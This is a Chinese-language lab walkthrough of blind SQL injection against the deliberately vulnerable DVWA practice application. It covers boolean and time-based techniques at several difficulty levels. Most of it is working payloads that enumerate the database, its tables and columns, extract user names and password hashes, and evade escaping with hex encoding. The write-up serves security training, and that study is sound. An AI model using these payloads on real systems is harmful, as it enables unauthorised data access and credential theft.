目录
1.概念
SQL Injecton(Blind),即SQL盲注,上一节的SQL injection 可以直接从页面上看到注入后的执行结果,但有时候,我们不能从显示页面上获取执行结果以及语句是否执行。所以我们还需要掌握盲注的知识。
分类
- 基于布尔的盲注
- 基于时间的盲注
- 基于报错的盲注:rand()函数作为group by的字段进行联用的时候会违反Mysql的约定而报错。rand()随机不确定性,使得group by会使用多次而报错
步骤
- 判断注入类型
- 猜解数据库中的表名
- 猜解表中的字段名
- 猜解数据
常用函数

substr(string,pos,length) 截取字符串,str:字符串,pos:起始位置,len:截断长,默认截断到最后一位
count() 显示结果集的函数,参数是过滤所需要的的值
ASCII(character)
character | 必须。要返回ASCII值的字符。如果输入了多个字符,则只返回第一个字符的值 |
length()
left() 返回具有指定长度的字符串的左边部分; limit a,b 如,a=0,b=5,则检索记录1-5
2.实验
2.1 LOW
mysqli_nmu_rows($ result):返回结果集中行的数量
漏洞利用
先输入1,显示
再输入1' or 1=1#
再输入1' and 1=2#
判断为字符型盲注类型。
1.对数据库长度猜解
1' and length(database())= 2 #
1' and length(database())= 3 #
1' and length(database())= 4 #
2.acsii(),函数获取ascii,通过对照ascii来获取数据库名
打印型ascii对照表
可以才用二分法,加快盲注速度
1' and ascii(substr(database(),1,1))>97#
1' and ascii(substr(database(),1,1))<107#
说明在97和107之间存在数据库名中的第一个字母,我们接着缩小范围
1' and ascii(substr(database(),1,1))<100#
说明第一个字母大于等于100,我们接着写等于100
1' and ascii(substr(database(),1,1))=100#
对照ascii表,可以知道第一个字母为d
数据库中的其他数据可以使用同样的方法获得,不再赘述,逐步实验后,我们可以知道数据库的名为dvwa
2.猜表名
先来猜解表的个数count()
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 #
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #
通过盲注结果,可以知道,有2个表
猜解表的长度 length()
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
我们一直试到9,才发现返回存在
说明第一个表的长度为9
采用同样的方法,测试出第二个表的长度为5
1’ and length(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),2))=5 #
猜解表的名称
我们同样使用mysql 中的ascii()来进行
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<107 #
显示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 #
显示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 #
显示不存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #
对比ascii,可以知道,表的第一个字母为g
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=117 #
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=101 #
按照这种方法,我们可以得知第一个表,与第二个表的名称为guestbook
、users
比如第二个表的第一个数据的ascii值为
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,2),1,1))=117#
猜解表的字段名
- 猜解表中字段的个数
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=1 #
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 #
从1 试到8 发现,在8的时候,页面返回存在,说明有8个字段在users表中
- 猜解users表中的各个字段的名称
有时候一个个猜解太耗时,我们可以猜解关键信息,如用户名,密码
常用用户名:username/user/user_name/uname/u_name/name/...
密码:password/pass_word/pwd/passwd/...
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='username')=1 #
页面显示不存在
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1 #
页面显示存在
所以,user表中的用户名字段为user
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #
说明,user表中的密码字段为password
猜解字段的值
- 猜解长度
提交 | 页面返回 |
---|---|
1' and length(substr((select user from users limit 0,1),1))>5 # | MISSING |
1' and length(substr((select user from users limit 0,1),1))>3 # | exists |
1' and length(substr((select user from users limit 0,1),1))=4 # | MISSING |
1' and length(substr((select user from users limit 0,1),1))=5 # | exists |
user 字段的第一个字段值字符长度为5
通过同样的方法,获得password字段第一个字段为字符长度为32,这么长,很可能是被MD5加密了
1' and length(substr((select password from users limit 0,1),1))=32 #
- 猜解值
user猜解
1' and ascii(substr((select user from users limit 0,1),1,1))=xxx #
1' and ascii(substr((select user from users limit 0,1),n,1))=xxx #
#password猜解
1' and ascii(substr((select password from users limit 0,1),1,1))=xxx
1' and ascii(substr((select password from users limit 0,1),n,1))=xxx
2.2 Medium
看代码
mysqli_real_escape_string
函数对特殊符号\x00
,\n
,\r
,\
,’
,”
,\x1a
进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入
我们可以使用时间盲注这次,因为被限制了,所以只能通过burpsuite来进行测试
先判断注入类型
输入1, 1 and 1=1 # 返回结果是exists,而输入' ,1' and 1=1 #,1' and 1=2 #均输出错误,所以判断为数字型
猜数据库名
使用if(条件,sleep(n),1)函数判断,若判断为真,则执行sleep(n)函数,n为延迟时间,若为假,则返回1
1 and if(length(database())=4,sleep(2),1) #2008 ms
1 and if(length(database())=5,sleep(2),1) #5 ms
1 and if(length(database())>10,sleep(2),1) #8 ms
从以上结果可以知道,数据库名的长度为4
1 and if(ascii(substr(database(),1,1))>96,sleep(2),1) #
1 and if(ascii(substr(database(),1,1))>101,sleep(2),1) #
1 and if(ascii(substr(database(),1,1))=100,sleep(2),1) #
从实验结果可以知道,第一个字符的ASCII码为100
后续盲注方式相似
1 and if(ascii(substr(database(),n,1))=xxx,sleep(2),1) #
经过一系列盲注后,可以得到结果为dvwa
后续猜测表名,字段名,与LOW相似,对于带有特殊符号的,可以转换为16进制
如:
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 #
可以转换为:
1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)=8 #
时间盲注的方式为:
1 and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)=8,sleep(2),1) #
2.3 High
在代码中,我们可以看到,采取cookie的方式将id存储,还采用了页面分离的方式防止普通sql工具扫描,使用limit 1的方式,使得每次输出的结果只有1个记录,采用rand()函数,随机获取参数传入sleep()中。
漏洞利用:
1.对与limit的限制,可以采取#注释的方法
2.这里时间盲注被rand函数限制,可以采用布尔盲注,与low级别没有差别
2.4 impossible
is_numeric($id):用于检测变量是否为数字或字符串
可以看到最高级别的采用了PDO技术防止SQL注入;以及Anti-CSRF token结束防止csrf;暂时没有利用方法。